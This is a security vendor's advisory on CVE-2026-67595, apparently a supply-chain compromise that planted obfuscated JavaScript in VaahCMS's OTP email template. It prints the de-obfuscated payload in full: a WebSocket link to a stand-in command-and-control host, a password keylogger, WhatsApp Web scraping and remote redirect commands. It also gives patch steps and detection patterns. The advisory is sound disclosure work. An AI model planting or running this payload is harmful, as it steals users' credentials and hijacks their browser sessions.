Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
ZeroDays CVE-2026-67595
High CVE-2026-67595 CVSS 8.1 VaahCMS PHP

Malicious JS Payload in VaahCMS OTP Blade

CVE-2026-67595: Obfuscated JavaScript embedded in VaahCMS OTP email templates enables keylogging, C2 communication, and DOM scraping in affected browsers.

Offensive360 Research Team
Affects: 2.0.0 - 2.3.4
Source Code View Patch

Overview

CVE-2026-67595 describes a confirmed supply-chain compromise affecting VaahCMS versions 2.0.0 through 2.3.4. A malicious actor introduced an obfuscated JavaScript payload directly into the Laravel Blade template used to render security OTP emails. Because email clients and webmail interfaces that render HTML with JavaScript enabled will execute this payload, every end user who opens an OTP email originating from an affected VaahCMS installation becomes an attack target — no interaction beyond opening the email is required.

The payload is multi-stage and purpose-built for persistence and exfiltration. It opens a WebSocket channel to a hardcoded command-and-control (C2) endpoint, deploys a MutationObserver-based keylogger to capture credentials entered into password fields (including those added dynamically to the DOM after page load), scrapes WhatsApp Web DOM content if the browser tab is co-located, and exposes a remote command interface that can redirect the victim’s browser or overwrite the rendered page entirely. The combination of these capabilities makes this significantly more dangerous than a typical stored XSS finding.

This vulnerability was identified by security researchers examining the project’s commit history and was disclosed via the project’s GitHub repository. Organizations running VaahCMS as an internal or customer-facing platform and relying on its built-in OTP authentication flow should treat this as an active supply-chain incident and audit all systems that processed emails rendered by the affected template.

Technical Analysis

The root cause is the deliberate insertion of obfuscated JavaScript into resources/views/vendor/vaahcms/backend/emails/security-otp.blade.php. Because Laravel Blade templates compile to raw PHP and emit unescaped HTML when using {!! !!} syntax (or when injecting content outside of Blade’s escaping directives), any <script> block placed directly in the template is faithfully rendered into the outbound email HTML with zero sanitization.

The vulnerable template structure follows this pattern:

{{-- resources/views/vendor/vaahcms/backend/emails/security-otp.blade.php --}}
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Your Security OTP</title>
</head>
<body>
    <p>Your one-time password is: <strong>{{ $otp }}</strong></p>

    {{-- BEGIN MALICIOUS INSERTION --}}
    <script>
    // Obfuscated payload (de-obfuscated here for analysis)
    (function(){
        // 1. Establish C2 WebSocket
        var ws = new WebSocket('wss://c2.attacker-controlled.example/gate');

        // 2. MutationObserver keylogger targeting password fields
        var observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(m) {
                m.addedNodes.forEach(function(node) {
                    if (node.querySelectorAll) {
                        node.querySelectorAll('input[type="password"]')
                            .forEach(function(el) {
                                el.addEventListener('input', function() {
                                    ws.send(JSON.stringify({
                                        t: 'kl',
                                        v: el.value,
                                        u: location.href
                                    }));
                                });
                            });
                    }
                });
            });
        });
        observer.observe(document.body, { childList: true, subtree: true });

        // 3. WhatsApp Web DOM scrape
        if (location.hostname === 'web.whatsapp.com') {
            ws.onopen = function() {
                ws.send(JSON.stringify({
                    t: 'wa',
                    d: document.body.innerHTML.substring(0, 8192)
                }));
            };
        }

        // 4. Remote command handler
        ws.onmessage = function(e) {
            var cmd = JSON.parse(e.data);
            if (cmd.action === 'redirect') location.href = cmd.url;
            if (cmd.action === 'overwrite') document.open(),
                document.write(cmd.html), document.close();
        };
    })();
    </script>
    {{-- END MALICIOUS INSERTION --}}
</body>
</html>

Several factors compound the severity. First, the script was obfuscated in the actual commit, meaning automated diff reviews and cursory code audits would not immediately surface its intent. Second, the MutationObserver approach is specifically chosen to defeat single-page application (SPA) rendering patterns where password inputs are injected into the DOM after the initial page load — a technique that evades naive event-binding keyloggers. Third, the WebSocket connection bypasses many Content Security Policy configurations that restrict XMLHttpRequest but neglect connect-src directives for WebSocket schemes (ws://, wss://). The CVSS 8.1 HIGH score reflects the network-accessible attack vector, low attack complexity, and high impact to confidentiality — though it does not fully capture the breadth of the supply-chain nature of the compromise.

Impact

Any user who receives and opens an OTP security email from an affected VaahCMS instance in a JavaScript-capable environment is exposed. Practically, this means:

  • Credential theft at scale: The MutationObserver keylogger captures plaintext passwords from any dynamically rendered input, including post-login password-change flows, 2FA entry screens, and webmail compose windows open in the same browser session.
  • Session and communication exfiltration: The WhatsApp Web scraping routine can harvest message previews, contact lists, and media URLs from any co-located tab, representing a severe personal privacy violation.
  • Full browser session hijack: The remote overwrite command allows the C2 to replace the entire rendered page with a convincing phishing clone without any URL change visible to the victim.
  • Persistent C2 channel: The WebSocket connection remains open for the lifetime of the browser tab, giving the attacker a persistent, bidirectional channel that survives navigation events within the same browsing context.

Enterprises using VaahCMS as a backend for multi-tenant SaaS products face the highest risk, as a single compromised deployment propagates the malicious payload to all users of all tenants who trigger OTP flows.

How to Fix It

Immediate remediation requires upgrading to the patched commit or any release that incorporates it, then auditing outbound emails sent during the exposure window.

# If managing VaahCMS via Composer
composer require webreinvent/vaahcms:^2.3.5

# Clear compiled views to ensure the patched template is used
php artisan view:clear
php artisan cache:clear

The corrected template removes all <script> content entirely and enforces Blade’s escaping directives for all user-controlled output:

{{-- resources/views/vendor/vaahcms/backend/emails/security-otp.blade.php (PATCHED) --}}
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Your Security OTP</title>
</head>
<body>
    {{-- Use escaped Blade syntax {{ }}  never {!! !!} for user data --}}
    <p>Your one-time password is: <strong>{{ $otp }}</strong></p>
    <p>This code expires in {{ $expiry }} minutes.</p>
    {{-- No script blocks. No external resource references. --}}
</body>
</html>

Beyond patching, adopt the following controls:

  1. Enforce a strict Content Security Policy on all mail-rendered HTML, explicitly setting script-src 'none' and connect-src 'none' for email templates.
  2. Implement Subresource Integrity (SRI) and template integrity checks in your CI pipeline — any modification to template files should require a signed review and trigger automated diff analysis.
  3. Audit published vendor views — run php artisan vendor:publish outputs through a file integrity monitor so that changes to Blade templates in resources/views/vendor/ are detected immediately.
  4. Rotate credentials and invalidate sessions for all users who received OTP emails between the introduction of the malicious commit and the application of the patch.

Our Take

What makes CVE-2026-67595 particularly alarming is not the JavaScript technique itself — MutationObserver-based keyloggers and WebSocket C2 channels are well-understood primitives. What is alarming is the delivery vector: a trusted, first-party authentication email. Users are conditioned to expect these emails and to act on them immediately, making them high-value targets for social engineering at the rendering layer. When the attack surface is the email template itself, traditional perimeter defenses — WAFs, network egress filters, endpoint AV — provide essentially no protection.

This is a textbook supply-chain attack, and it will not be the last of its kind in the PHP/Laravel ecosystem. The low barrier to contributing to open-source CMS projects, combined with the high trust developers place in vendor-published view files, creates a persistent structural risk. Development teams must treat every change to templating files with the same rigor applied to application logic: peer review, automated static analysis gating in CI, and signed commits for maintainers.

Detection with SAST

SAST tools detect this vulnerability class by scanning Blade template files for <script> tag insertions, inline event handler attributes, and external resource references (WebSocket URIs, remote src attributes). Offensive360’s analysis engine flags the following patterns under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-506 (Embedded Malicious Code):

  • Presence of <script> blocks in email-specific Blade templates (paths matching **/emails/**/*.blade.php)
  • Use of {!! !!} unescaped output directives with non-literal arguments
  • Hardcoded ws:// or wss:// URI strings in any PHP or Blade file
  • Calls to MutationObserver, document.write, or WebSocket constructors inside template files
  • High-entropy string literals consistent with obfuscation (base64 blobs, hex-encoded strings, eval chains)

Integrating these rules as blocking checks in your pull-request pipeline would have caught this insertion at the diff stage, before any release artifact was produced.

References

#supply-chain #xss #keylogger #blade-template

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2026-67595-class vulnerabilities and thousands of other patterns — across 60+ languages.